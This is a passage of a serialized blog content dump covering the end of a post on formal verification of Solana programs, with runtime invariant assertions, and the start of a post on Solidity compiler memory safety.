bool\n",{"type":22,"tag":118,"props":30114,"children":30115},{"class":120,"line":368},[30116],{"type":22,"tag":118,"props":30117,"children":30118},{"style":125},[30119],{"type":28,"value":481},{"type":22,"tag":118,"props":30121,"children":30122},{"class":120,"line":384},[30123],{"type":22,"tag":118,"props":30124,"children":30125},{"emptyLinePlaceholder":15},[30126],{"type":28,"value":250},{"type":22,"tag":118,"props":30128,"children":30129},{"class":120,"line":417},[30130,30134,30138],{"type":22,"tag":118,"props":30131,"children":30132},{"style":146},[30133],{"type":28,"value":3408},{"type":22,"tag":118,"props":30135,"children":30136},{"style":131},[30137],{"type":28,"value":30087},{"type":22,"tag":118,"props":30139,"children":30140},{"style":125},[30141],{"type":28,"value":1474},{"type":22,"tag":118,"props":30143,"children":30144},{"class":120,"line":425},[30145,30149,30153,30158],{"type":22,"tag":118,"props":30146,"children":30147},{"style":146},[30148],{"type":28,"value":201},{"type":22,"tag":118,"props":30150,"children":30151},{"style":146},[30152],{"type":28,"value":529},{"type":22,"tag":118,"props":30154,"children":30155},{"style":532},[30156],{"type":28,"value":30157}," put_into_bad_state",{"type":22,"tag":118,"props":30159,"children":30160},{"style":125},[30161],{"type":28,"value":2215},{"type":22,"tag":118,"props":30163,"children":30164},{"class":120,"line":441},[30165,30169,30173,30178,30182,30186],{"type":22,"tag":118,"props":30166,"children":30167},{"style":146},[30168],{"type":28,"value":29301},{"type":22,"tag":118,"props":30170,"children":30171},{"style":210},[30172],{"type":28,"value":292},{"type":22,"tag":118,"props":30174,"children":30175},{"style":125},[30176],{"type":28,"value":30177},"bad ",{"type":22,"tag":118,"props":30179,"children":30180},{"style":210},[30181],{"type":28,"value":282},{"type":22,"tag":118,"props":30183,"children":30184},{"style":146},[30185],{"type":28,"value":1537},{"type":22,"tag":118,"props":30187,"children":30188},{"style":125},[30189],{"type":28,"value":801},{"type":22,"tag":118,"props":30191,"children":30192},{"class":120,"line":475},[30193],{"type":22,"tag":118,"props":30194,"children":30195},{"style":125},[30196],{"type":28,"value":1254},{"type":22,"tag":118,"props":30198,"children":30199},{"class":120,"line":484},[30200],{"type":22,"tag":118,"props":30201,"children":30202},{"style":125},[30203],{"type":28,"value":481},{"type":22,"tag":118,"props":30205,"children":30206},{"class":120,"line":492},[30207],{"type":22,"tag":118,"props":30208,"children":30209},{"emptyLinePlaceholder":15},[30210],{"type":28,"value":250},{"type":22,"tag":118,"props":30212,"children":30213},{"class":120,"line":501},[30214],{"type":22,"tag":118,"props":30215,"children":30216},{"style":257},[30217],{"type":28,"value":30218},"// Instruction handler:\n",{"type":22,"tag":118,"props":30220,"children":30221},{"class":120,"line":519},[30222,30226,30231,30235,30239,30243,30247,30251,30256,30260,30264,30268],{"type":22,"tag":118,"props":30223,"children":30224},{"style":146},[30225],{"type":28,"value":2603},{"type":22,"tag":118,"props":30227,"children":30228},{"style":532},[30229],{"type":28,"value":30230}," hard_to_verify",{"type":22,"tag":118,"props":30232,"children":30233},{"style":125},[30234],{"type":28,"value":540},{"type":22,"tag":118,"props":30236,"children":30237},{"style":204},[30238],{"type":28,"value":545},{"type":22,"tag":118,"props":30240,"children":30241},{"style":210},[30242],{"type":28,"value":213},{"type":22,"tag":118,"props":30244,"children":30245},{"style":131},[30246],{"type":28,"value":554},{"type":22,"tag":118,"props":30248,"children":30249},{"style":125},[30250],{"type":28,"value":559},{"type":22,"tag":118,"props":30252,"children":30253},{"style":131},[30254],{"type":28,"value":30255},"MyCtx",{"type":22,"tag":118,"props":30257,"children":30258},{"style":125},[30259],{"type":28,"value":3504},{"type":22,"tag":118,"props":30261,"children":30262},{"style":210},[30263],{"type":28,"value":593},{"type":22,"tag":118,"props":30265,"children":30266},{"style":131},[30267],{"type":28,"value":598},{"type":22,"tag":118,"props":30269,"children":30270},{"style":125},[30271],{"type":28,"value":603},{"type":22,"tag":118,"props":30273,"children":30274},{"class":120,"line":606},[30275,30280,30284,30288,30293],{"type":22,"tag":118,"props":30276,"children":30277},{"style":532},[30278],{"type":28,"value":30279},"    invoke_signed",{"type":22,"tag":118,"props":30281,"children":30282},{"style":125},[30283],{"type":28,"value":540},{"type":22,"tag":118,"props":30285,"children":30286},{"style":210},[30287],{"type":28,"value":11589},{"type":22,"tag":118,"props":30289,"children":30290},{"style":125},[30291],{"type":28,"value":30292},"); ",{"type":22,"tag":118,"props":30294,"children":30295},{"style":257},[30296],{"type":28,"value":30297},"// Cross-program invocation\n",{"type":22,"tag":118,"props":30299,"children":30300},{"class":120,"line":615},[30301],{"type":22,"tag":118,"props":30302,"children":30303},{"emptyLinePlaceholder":15},[30304],{"type":28,"value":250},{"type":22,"tag":118,"props":30306,"children":30307},{"class":120,"line":685},[30308,30312,30317,30321,30325,30329],{"type":22,"tag":118,"props":30309,"children":30310},{"style":146},[30311],{"type":28,"value":4152},{"type":22,"tag":118,"props":30313,"children":30314},{"style":204},[30315],{"type":28,"value":30316}," invoke_res",{"type":22,"tag":118,"props":30318,"children":30319},{"style":210},[30320],{"type":28,"value":837},{"type":22,"tag":118,"props":30322,"children":30323},{"style":210},[30324],{"type":28,"value":27243},{"type":22,"tag":118,"props":30326,"children":30327},{"style":125},[30328],{"type":28,"value":19191},{"type":22,"tag":118,"props":30330,"children":30331},{"style":257},[30332],{"type":28,"value":30333},"// fetch result of invocation\n",{"type":22,"tag":118,"props":30335,"children":30336},{"class":120,"line":699},[30337,30341,30345,30349,30354],{"type":22,"tag":118,"props":30338,"children":30339},{"style":1480},[30340],{"type":28,"value":2159},{"type":22,"tag":118,"props":30342,"children":30343},{"style":204},[30344],{"type":28,"value":30316},{"type":22,"tag":118,"props":30346,"children":30347},{"style":210},[30348],{"type":28,"value":1780},{"type":22,"tag":118,"props":30350,"children":30351},{"style":674},[30352],{"type":28,"value":30353}," 5",{"type":22,"tag":118,"props":30355,"children":30356},{"style":125},[30357],{"type":28,"value":1474},{"type":22,"tag":118,"props":30359,"children":30360},{"class":120,"line":729},[30361,30365,30369,30374,30378,30383,30388],{"type":22,"tag":118,"props":30362,"children":30363},{"style":204},[30364],{"type":28,"value":1034},{"type":22,"tag":118,"props":30366,"children":30367},{"style":210},[30368],{"type":28,"value":292},{"type":22,"tag":118,"props":30370,"children":30371},{"style":125},[30372],{"type":28,"value":30373},"my_account",{"type":22,"tag":118,"props":30375,"children":30376},{"style":210},[30377],{"type":28,"value":292},{"type":22,"tag":118,"props":30379,"children":30380},{"style":532},[30381],{"type":28,"value":30382},"put_into_bad_state",{"type":22,"tag":118,"props":30384,"children":30385},{"style":125},[30386],{"type":28,"value":30387},"(); ",{"type":22,"tag":118,"props":30389,"children":30390},{"style":257},[30391],{"type":28,"value":30392},"// corrupt our account\n",{"type":22,"tag":118,"props":30394,"children":30395},{"class":120,"line":771},[30396],{"type":22,"tag":118,"props":30397,"children":30398},{"style":125},[30399],{"type":28,"value":1254},{"type":22,"tag":118,"props":30401,"children":30402},{"class":120,"line":785},[30403,30407],{"type":22,"tag":118,"props":30404,"children":30405},{"style":131},[30406],{"type":28,"value":2542},{"type":22,"tag":118,"props":30408,"children":30409},{"style":125},[30410],{"type":28,"value":1245},{"type":22,"tag":118,"props":30412,"children":30413},{"class":120,"line":804},[30414],{"type":22,"tag":118,"props":30415,"children":30416},{"style":125},[30417],{"type":28,"value":481},{"type":22,"tag":31,"props":30419,"children":30420},{},[30421,30423,30428],{"type":28,"value":30422},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":22,"tag":114,"props":30424,"children":30426},{"className":30425},[],[30427],{"type":28,"value":30373},{"type":28,"value":30429},") will be maintained as long as the instruction succeeds.",{"type":22,"tag":31,"props":30431,"children":30432},{},[30433],{"type":28,"value":30434},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":22,"tag":31,"props":30436,"children":30437},{},[30438,30440,30445],{"type":28,"value":30439},"However, we can ",{"type":22,"tag":4764,"props":30441,"children":30442},{},[30443],{"type":28,"value":30444},"augment",{"type":28,"value":30446}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":22,"tag":31,"props":30448,"children":30449},{},[30450],{"type":28,"value":30451},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":22,"tag":107,"props":30453,"children":30455},{"code":30454,"language":111,"meta":7,"className":109,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[30456],{"type":22,"tag":114,"props":30457,"children":30458},{"__ignoreMap":7},[30459,30467,30518,30541,30548,30575,30598,30629,30636,30643,30651,30686,30693,30704],{"type":22,"tag":118,"props":30460,"children":30461},{"class":120,"line":121},[30462],{"type":22,"tag":118,"props":30463,"children":30464},{"style":210},[30465],{"type":28,"value":30466},"...\n",{"type":22,"tag":118,"props":30468,"children":30469},{"class":120,"line":142},[30470,30474,30478,30482,30486,30490,30494,30498,30502,30506,30510,30514],{"type":22,"tag":118,"props":30471,"children":30472},{"style":146},[30473],{"type":28,"value":2603},{"type":22,"tag":118,"props":30475,"children":30476},{"style":532},[30477],{"type":28,"value":30230},{"type":22,"tag":118,"props":30479,"children":30480},{"style":125},[30481],{"type":28,"value":540},{"type":22,"tag":118,"props":30483,"children":30484},{"style":204},[30485],{"type":28,"value":545},{"type":22,"tag":118,"props":30487,"children":30488},{"style":210},[30489],{"type":28,"value":213},{"type":22,"tag":118,"props":30491,"children":30492},{"style":131},[30493],{"type":28,"value":554},{"type":22,"tag":118,"props":30495,"children":30496},{"style":125},[30497],{"type":28,"value":559},{"type":22,"tag":118,"props":30499,"children":30500},{"style":131},[30501],{"type":28,"value":30255},{"type":22,"tag":118,"props":30503,"children":30504},{"style":125},[30505],{"type":28,"value":3504},{"type":22,"tag":118,"props":30507,"children":30508},{"style":210},[30509],{"type":28,"value":593},{"type":22,"tag":118,"props":30511,"children":30512},{"style":131},[30513],{"type":28,"value":598},{"type":22,"tag":118,"props":30515,"children":30516},{"style":125},[30517],{"type":28,"value":603},{"type":22,"tag":118,"props":30519,"children":30520},{"class":120,"line":177},[30521,30525,30529,30533,30537],{"type":22,"tag":118,"props":30522,"children":30523},{"style":532},[30524],{"type":28,"value":30279},{"type":22,"tag":118,"props":30526,"children":30527},{"style":125},[30528],{"type":28,"value":540},{"type":22,"tag":118,"props":30530,"children":30531},{"style":210},[30532],{"type":28,"value":11589},{"type":22,"tag":118,"props":30534,"children":30535},{"style":125},[30536],{"type":28,"value":30292},{"type":22,"tag":118,"props":30538,"children":30539},{"style":257},[30540],{"type":28,"value":30297},{"type":22,"tag":118,"props":30542,"children":30543},{"class":120,"line":195},[30544],{"type":22,"tag":118,"props":30545,"children":30546},{"emptyLinePlaceholder":15},[30547],{"type":28,"value":250},{"type":22,"tag":118,"props":30549,"children":30550},{"class":120,"line":244},[30551,30555,30559,30563,30567,30571],{"type":22,"tag":118,"props":30552,"children":30553},{"style":146},[30554],{"type":28,"value":4152},{"type":22,"tag":118,"props":30556,"children":30557},{"style":204},[30558],{"type":28,"value":30316},{"type":22,"tag":118,"props":30560,"children":30561},{"style":210},[30562],{"type":28,"value":837},{"type":22,"tag":118,"props":30564,"children":30565},{"style":210},[30566],{"type":28,"value":27243},{"type":22,"tag":118,"props":30568,"children":30569},{"style":125},[30570],{"type":28,"value":19191},{"type":22,"tag":118,"props":30572,"children":30573},{"style":257},[30574],{"type":28,"value":30333},{"type":22,"tag":118,"props":30576,"children":30577},{"class":120,"line":253},[30578,30582,30586,30590,30594],{"type":22,"tag":118,"props":30579,"children":30580},{"style":1480},[30581],{"type":28,"value":2159},{"type":22,"tag":118,"props":30583,"children":30584},{"style":204},[30585],{"type":28,"value":30316},{"type":22,"tag":118,"props":30587,"children":30588},{"style":210},[30589],{"type":28,"value":1780},{"type":22,"tag":118,"props":30591,"children":30592},{"style":674},[30593],{"type":28,"value":30353},{"type":22,"tag":118,"props":30595,"children":30596},{"style":125},[30597],{"type":28,"value":1474},{"type":22,"tag":118,"props":30599,"children":30600},{"class":120,"line":263},[30601,30605,30609,30613,30617,30621,30625],{"type":22,"tag":118,"props":30602,"children":30603},{"style":204},[30604],{"type":28,"value":1034},{"type":22,"tag":118,"props":30606,"children":30607},{"style":210},[30608],{"type":28,"value":292},{"type":22,"tag":118,"props":30610,"children":30611},{"style":125},[30612],{"type":28,"value":30373},{"type":22,"tag":118,"props":30614,"children":30615},{"style":210},[30616],{"type":28,"value":292},{"type":22,"tag":118,"props":30618,"children":30619},{"style":532},[30620],{"type":28,"value":30382},{"type":22,"tag":118,"props":30622,"children":30623},{"style":125},[30624],{"type":28,"value":30387},{"type":22,"tag":118,"props":30626,"children":30627},{"style":257},[30628],{"type":28,"value":30392},{"type":22,"tag":118,"props":30630,"children":30631},{"class":120,"line":318},[30632],{"type":22,"tag":118,"props":30633,"children":30634},{"style":125},[30635],{"type":28,"value":1254},{"type":22,"tag":118,"props":30637,"children":30638},{"class":120,"line":351},[30639],{"type":22,"tag":118,"props":30640,"children":30641},{"emptyLinePlaceholder":15},[30642],{"type":28,"value":250},{"type":22,"tag":118,"props":30644,"children":30645},{"class":120,"line":359},[30646],{"type":22,"tag":118,"props":30647,"children":30648},{"style":257},[30649],{"type":28,"value":30650},"    // Enforce invariants at runtime\n",{"type":22,"tag":118,"props":30652,"children":30653},{"class":120,"line":368},[30654,30658,30662,30666,30670,30674,30678,30682],{"type":22,"tag":118,"props":30655,"children":30656},{"style":532},[30657],{"type":28,"value":21207},{"type":22,"tag":118,"props":30659,"children":30660},{"style":125},[30661],{"type":28,"value":540},{"type":22,"tag":118,"props":30663,"children":30664},{"style":204},[30665],{"type":28,"value":545},{"type":22,"tag":118,"props":30667,"children":30668},{"style":210},[30669],{"type":28,"value":292},{"type":22,"tag":118,"props":30671,"children":30672},{"style":125},[30673],{"type":28,"value":30373},{"type":22,"tag":118,"props":30675,"children":30676},{"style":210},[30677],{"type":28,"value":292},{"type":22,"tag":118,"props":30679,"children":30680},{"style":532},[30681],{"type":28,"value":23732},{"type":22,"tag":118,"props":30683,"children":30684},{"style":125},[30685],{"type":28,"value":17399},{"type":22,"tag":118,"props":30687,"children":30688},{"class":120,"line":384},[30689],{"type":22,"tag":118,"props":30690,"children":30691},{"emptyLinePlaceholder":15},[30692],{"type":28,"value":250},{"type":22,"tag":118,"props":30694,"children":30695},{"class":120,"line":417},[30696,30700],{"type":22,"tag":118,"props":30697,"children":30698},{"style":131},[30699],{"type":28,"value":2542},{"type":22,"tag":118,"props":30701,"children":30702},{"style":125},[30703],{"type":28,"value":1245},{"type":22,"tag":118,"props":30705,"children":30706},{"class":120,"line":425},[30707],{"type":22,"tag":118,"props":30708,"children":30709},{"style":125},[30710],{"type":28,"value":481},{"type":22,"tag":31,"props":30712,"children":30713},{},[30714,30716,30721,30723,30728,30730,30735],{"type":28,"value":30715},"Here, we explicitly ",{"type":22,"tag":114,"props":30717,"children":30719},{"className":30718},[],[30720],{"type":28,"value":21951},{"type":28,"value":30722}," that our invariants hold at ",{"type":22,"tag":4764,"props":30724,"children":30725},{},[30726],{"type":28,"value":30727},"runtime",{"type":28,"value":30729}," which allows us to be assured that ",{"type":22,"tag":114,"props":30731,"children":30733},{"className":30732},[],[30734],{"type":28,"value":30373},{"type":28,"value":30736}," will not enter a bad state as a result of some unverifiable behavior.",{"type":22,"tag":31,"props":30738,"children":30739},{},[30740],{"type":28,"value":30741},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":22,"tag":23,"props":30743,"children":30745},{"id":30744},"challenges-of-formal-verification-on-solana",[30746],{"type":28,"value":30747},"Challenges of formal verification on Solana",{"type":22,"tag":1289,"props":30749,"children":30751},{"id":30750},"expensive-computation",[30752],{"type":28,"value":30753},"Expensive computation",{"type":22,"tag":31,"props":30755,"children":30756},{},[30757,30759,30764],{"type":28,"value":30758},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":22,"tag":4764,"props":30760,"children":30761},{},[30762],{"type":28,"value":30763},"path explosion",{"type":28,"value":30765},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":22,"tag":31,"props":30767,"children":30768},{},[30769,30771,30776],{"type":28,"value":30770},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":22,"tag":4764,"props":30772,"children":30773},{},[30774],{"type":28,"value":30775},"formal verification friendly",{"type":28,"value":30777},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":22,"tag":31,"props":30779,"children":30780},{},[30781,30783,30788,30790,30795],{"type":28,"value":30782},"For example, when verifying things like the uniqueness of a ",{"type":22,"tag":114,"props":30784,"children":30786},{"className":30785},[],[30787],{"type":28,"value":2892},{"type":28,"value":30789}," in a ",{"type":22,"tag":114,"props":30791,"children":30793},{"className":30792},[],[30794],{"type":28,"value":3789},{"type":28,"value":30796},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":22,"tag":31,"props":30798,"children":30799},{},[30800,30802,30807,30809,30814,30816,30821,30823,30828,30830,30835,30837,30842],{"type":28,"value":30801},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":22,"tag":114,"props":30803,"children":30805},{"className":30804},[],[30806],{"type":28,"value":3789},{"type":28,"value":30808}," or a 32-byte ",{"type":22,"tag":114,"props":30810,"children":30812},{"className":30811},[],[30813],{"type":28,"value":2892},{"type":28,"value":30815},". Instead, our tool can substitute in ",{"type":22,"tag":4764,"props":30817,"children":30818},{},[30819],{"type":28,"value":30820},"cheaper",{"type":28,"value":30822}," types and functions, such as a 4-byte ",{"type":22,"tag":114,"props":30824,"children":30826},{"className":30825},[],[30827],{"type":28,"value":2892},{"type":28,"value":30829}," struct and a fixed-size, array-backed ",{"type":22,"tag":114,"props":30831,"children":30833},{"className":30832},[],[30834],{"type":28,"value":3789},{"type":28,"value":30836}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":22,"tag":4764,"props":30838,"children":30839},{},[30840],{"type":28,"value":30841},"much",{"type":28,"value":30843}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":22,"tag":31,"props":30845,"children":30846},{},[30847],{"type":28,"value":30848},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":22,"tag":1289,"props":30850,"children":30852},{"id":30851},"runtime-environment",[30853],{"type":28,"value":30854},"Runtime Environment",{"type":22,"tag":31,"props":30856,"children":30857},{},[30858],{"type":28,"value":30859},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":22,"tag":31,"props":30861,"children":30862},{},[30863],{"type":28,"value":30864},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":22,"tag":31,"props":30866,"children":30867},{},[30868],{"type":28,"value":30869},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":22,"tag":23,"props":30871,"children":30873},{"id":30872},"conclusion",[30874],{"type":28,"value":20914},{"type":22,"tag":31,"props":30876,"children":30877},{},[30878],{"type":28,"value":30879},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":22,"tag":31,"props":30881,"children":30882},{},[30883],{"type":28,"value":30884},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":22,"tag":20760,"props":30886,"children":30887},{},[],{"type":22,"tag":31,"props":30889,"children":30890},{},[30891],{"type":22,"tag":4764,"props":30892,"children":30893},{},[30894,30896,30901,30902,30906],{"type":28,"value":30895},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":22,"tag":42,"props":30897,"children":30899},{"href":20843,"rel":30898},[46],[30900],{"type":28,"value":20847},{"type":28,"value":20849},{"type":22,"tag":42,"props":30903,"children":30904},{"href":20852},[30905],{"type":28,"value":20855},{"type":28,"value":292},{"type":22,"tag":4880,"props":30908,"children":30909},{},[30910],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":30912},[30913,30919,30923,30928,30934,30938],{"id":20917,"depth":142,"text":20920,"children":30914},[30915,30916,30917,30918],{"id":20923,"depth":177,"text":20926},{"id":20991,"depth":177,"text":20994},{"id":21871,"depth":177,"text":21874},{"id":21911,"depth":177,"text":21914},{"id":21964,"depth":142,"text":30920,"children":30921},"Specification: How can we describe what we want our program to do?",[30922],{"id":22078,"depth":177,"text":22081},{"id":23424,"depth":142,"text":23427,"children":30924},[30925,30926,30927],{"id":24101,"depth":177,"text":24104},{"id":24386,"depth":177,"text":24389},{"id":24530,"depth":177,"text":24533},{"id":24671,"depth":142,"text":24674,"children":30929},[30930,30931,30932,30933],{"id":24742,"depth":177,"text":24745},{"id":26583,"depth":177,"text":26586},{"id":27383,"depth":177,"text":24734},{"id":29905,"depth":177,"text":24739},{"id":30744,"depth":142,"text":30747,"children":30935},[30936,30937],{"id":30750,"depth":177,"text":30753},{"id":30851,"depth":177,"text":30854},{"id":30872,"depth":142,"text":20914},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":30943,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30944,"description":30945,"author":7730,"image":30946,"date":30948,"isFeatured":15,"onBlogPage":15,"tags":30949,"body":30951,"_type":4896,"_id":32368,"_source":4898,"_file":32369,"_stem":32370,"_extension":4901},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":30947,"height":13,"width":13},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[6486,30950],"compiler",{"type":19,"children":30952,"toc":32359},[30953,30957,30993,31005,31011,31033,31046,31194,31215,31220,31241,31246,31254,31259,31264,31269,31275,31294,31299,31320,31383,31396,31426,31446,31473,31478,31491,31496,31501,31514,31545,31568,31721,31739,31790,31809,31834,31839,31845,31872,31892,31920,31925,31947,31966,31974,31985,31990,32006,32263,32271,32276,32280,32285,32290,32355],{"type":22,"tag":23,"props":30954,"children":30955},{"id":25},[30956],{"type":28,"value":29},{"type":22,"tag":31,"props":30958,"children":30959},{},[30960,30962,30968,30969,30973,30975,30982,30984,30991],{"type":28,"value":30961},"What does ",{"type":22,"tag":114,"props":30963,"children":30965},{"className":30964},[],[30966],{"type":28,"value":30967},"memory-safe",{"type":28,"value":8467},{"type":22,"tag":4764,"props":30970,"children":30971},{},[30972],{"type":28,"value":11286},{"type":28,"value":30974}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":22,"tag":42,"props":30976,"children":30979},{"href":30977,"rel":30978},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[46],[30980],{"type":28,"value":30981},"presents some requirements",{"type":28,"value":30983},", but is production code that ",{"type":22,"tag":42,"props":30985,"children":30988},{"href":30986,"rel":30987},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[46],[30989],{"type":28,"value":30990},"violates these requirements",{"type":28,"value":30992}," necessarily unsafe?",{"type":22,"tag":31,"props":30994,"children":30995},{},[30996,30998,31003],{"type":28,"value":30997},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":22,"tag":4764,"props":30999,"children":31000},{},[31001],{"type":28,"value":31002},"memory-safety",{"type":28,"value":31004}," actually means.",{"type":22,"tag":23,"props":31006,"children":31008},{"id":31007},"compiler-pipeline",[31009],{"type":28,"value":31010},"Compiler Pipeline",{"type":22,"tag":31,"props":31012,"children":31013},{},[31014,31016,31023,31025,31032],{"type":28,"value":31015},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":22,"tag":42,"props":31017,"children":31020},{"href":31018,"rel":31019},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[46],[31021],{"type":28,"value":31022},"released in v0.8.13",{"type":28,"value":31024},". Compilation happens ",{"type":22,"tag":42,"props":31026,"children":31029},{"href":31027,"rel":31028},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[46],[31030],{"type":28,"value":31031},"in two main steps",{"type":28,"value":213},{"type":22,"tag":4029,"props":31034,"children":31035},{},[31036,31041],{"type":22,"tag":68,"props":31037,"children":31038},{},[31039],{"type":28,"value":31040},"Solidity to YUL IR",{"type":22,"tag":68,"props":31042,"children":31043},{},[31044],{"type":28,"value":31045},"YUL IR to EVM opcodes",{"type":22,"tag":107,"props":31047,"children":31051},{"className":31048,"code":31049,"language":31050,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[31052],{"type":22,"tag":114,"props":31053,"children":31054},{"__ignoreMap":7},[31055,31085,31106,31118,31126,31138,31158,31166,31187],{"type":22,"tag":118,"props":31056,"children":31057},{"class":120,"line":121},[31058,31062,31067,31071,31076,31080],{"type":22,"tag":118,"props":31059,"children":31060},{"style":1480},[31061],{"type":28,"value":2159},{"type":22,"tag":118,"props":31063,"children":31064},{"style":125},[31065],{"type":28,"value":31066}," (m_viaIR ",{"type":22,"tag":118,"props":31068,"children":31069},{"style":210},[31070],{"type":28,"value":24373},{"type":22,"tag":118,"props":31072,"children":31073},{"style":125},[31074],{"type":28,"value":31075}," m_generateIR ",{"type":22,"tag":118,"props":31077,"children":31078},{"style":210},[31079],{"type":28,"value":24373},{"type":22,"tag":118,"props":31081,"children":31082},{"style":125},[31083],{"type":28,"value":31084}," m_generateEwasm)\n",{"type":22,"tag":118,"props":31086,"children":31087},{"class":120,"line":142},[31088,31093,31097,31101],{"type":22,"tag":118,"props":31089,"children":31090},{"style":532},[31091],{"type":28,"value":31092},"        generateIR",{"type":22,"tag":118,"props":31094,"children":31095},{"style":125},[31096],{"type":28,"value":540},{"type":22,"tag":118,"props":31098,"children":31099},{"style":210},[31100],{"type":28,"value":671},{"type":22,"tag":118,"props":31102,"children":31103},{"style":125},[31104],{"type":28,"value":31105},"contract);\n",{"type":22,"tag":118,"props":31107,"children":31108},{"class":120,"line":177},[31109,31113],{"type":22,"tag":118,"props":31110,"children":31111},{"style":1480},[31112],{"type":28,"value":2159},{"type":22,"tag":118,"props":31114,"children":31115},{"style":125},[31116],{"type":28,"value":31117}," (m_generateEvmBytecode)\n",{"type":22,"tag":118,"props":31119,"children":31120},{"class":120,"line":195},[31121],{"type":22,"tag":118,"props":31122,"children":31123},{"style":125},[31124],{"type":28,"value":31125},"    {\n",{"type":22,"tag":118,"props":31127,"children":31128},{"class":120,"line":244},[31129,31133],{"type":22,"tag":118,"props":31130,"children":31131},{"style":1480},[31132],{"type":28,"value":5293},{"type":22,"tag":118,"props":31134,"children":31135},{"style":125},[31136],{"type":28,"value":31137}," (m_viaIR)\n",{"type":22,"tag":118,"props":31139,"children":31140},{"class":120,"line":253},[31141,31146,31150,31154],{"type":22,"tag":118,"props":31142,"children":31143},{"style":532},[31144],{"type":28,"value":31145},"            generateEVMFromIR",{"type":22,"tag":118,"props":31147,"children":31148},{"style":125},[31149],{"type":28,"value":540},{"type":22,"tag":118,"props":31151,"children":31152},{"style":210},[31153],{"type":28,"value":671},{"type":22,"tag":118,"props":31155,"children":31156},{"style":125},[31157],{"type":28,"value":31105},{"type":22,"tag":118,"props":31159,"children":31160},{"class":120,"line":263},[31161],{"type":22,"tag":118,"props":31162,"children":31163},{"style":1480},[31164],{"type":28,"value":31165},"        else\n",{"type":22,"tag":118,"props":31167,"children":31168},{"class":120,"line":318},[31169,31174,31178,31182],{"type":22,"tag":118,"props":31170,"children":31171},{"style":532},[31172],{"type":28,"value":31173},"            compileContract",{"type":22,"tag":118,"props":31175,"children":31176},{"style":125},[31177],{"type":28,"value":540},{"type":22,"tag":118,"props":31179,"children":31180},{"style":210},[31181],{"type":28,"value":671},{"type":22,"tag":118,"props":31183,"children":31184},{"style":125},[31185],{"type":28,"value":31186},"contract, otherCompilers);\n",{"type":22,"tag":118,"props":31188,"children":31189},{"class":120,"line":351},[31190],{"type":22,"tag":118,"props":31191,"children":31192},{"style":125},[31193],{"type":28,"value":1254},{"type":22,"tag":31,"props":31195,"children":31196},{},[31197,31199,31206,31207,31214],{"type":28,"value":31198},"Each step applies its own set of optimizations. The entrypoints are located at 